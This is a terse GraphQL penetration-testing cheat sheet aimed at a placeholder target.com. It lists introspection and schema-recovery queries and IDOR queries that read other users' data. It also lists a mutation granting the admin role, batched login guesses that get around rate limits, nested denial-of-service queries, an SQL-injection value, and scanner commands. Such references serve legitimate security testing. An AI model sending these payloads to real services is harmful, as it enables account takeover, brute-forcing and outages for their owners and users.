GraphQL security testing — endpoint discovery and engine fingerprinting, introspection (and recovery when disabled), IDOR/authz via nodes & mutations, batching rate-limit bypass, DoS and injection.
POST /graphql {"query":"{__typename}"}
paths: /graphql /api/graphql /v1/graphql /graphiql /graphql/console
graphw00f -d -f -t https://target.com/graphql
{__schema{types{name fields{name}}}}
{__schema{queryType{fields{name}} mutationType{fields{name}}}}
{__type(name:"User"){fields{name type{name kind}}}}
clairvoyance -o schema.json https://target.com/graphql
{user(id:1002){email phone}}
mutation{updateUser(id:1002,role:"admin"){id}}
{node(id:"VXNlcjoxMDAy"){...on User{email}}}
{a:login(u:"x",p:"1"){t} b:login(u:"x",p:"2"){t} c:login(u:"x",p:"3"){t}}
[{"query":"mutation{...}"},{"query":"mutation{...}"}]
query{a{b{a{b{a{b{name}}}}}}}
{__schema{types{fields{type{fields{type{name}}}}}}}
{user(id:"1 OR 1=1"){id}}
InQL (Burp) / graphql-cop / batchql
nuclei -tags graphql -u https://target.com/graphql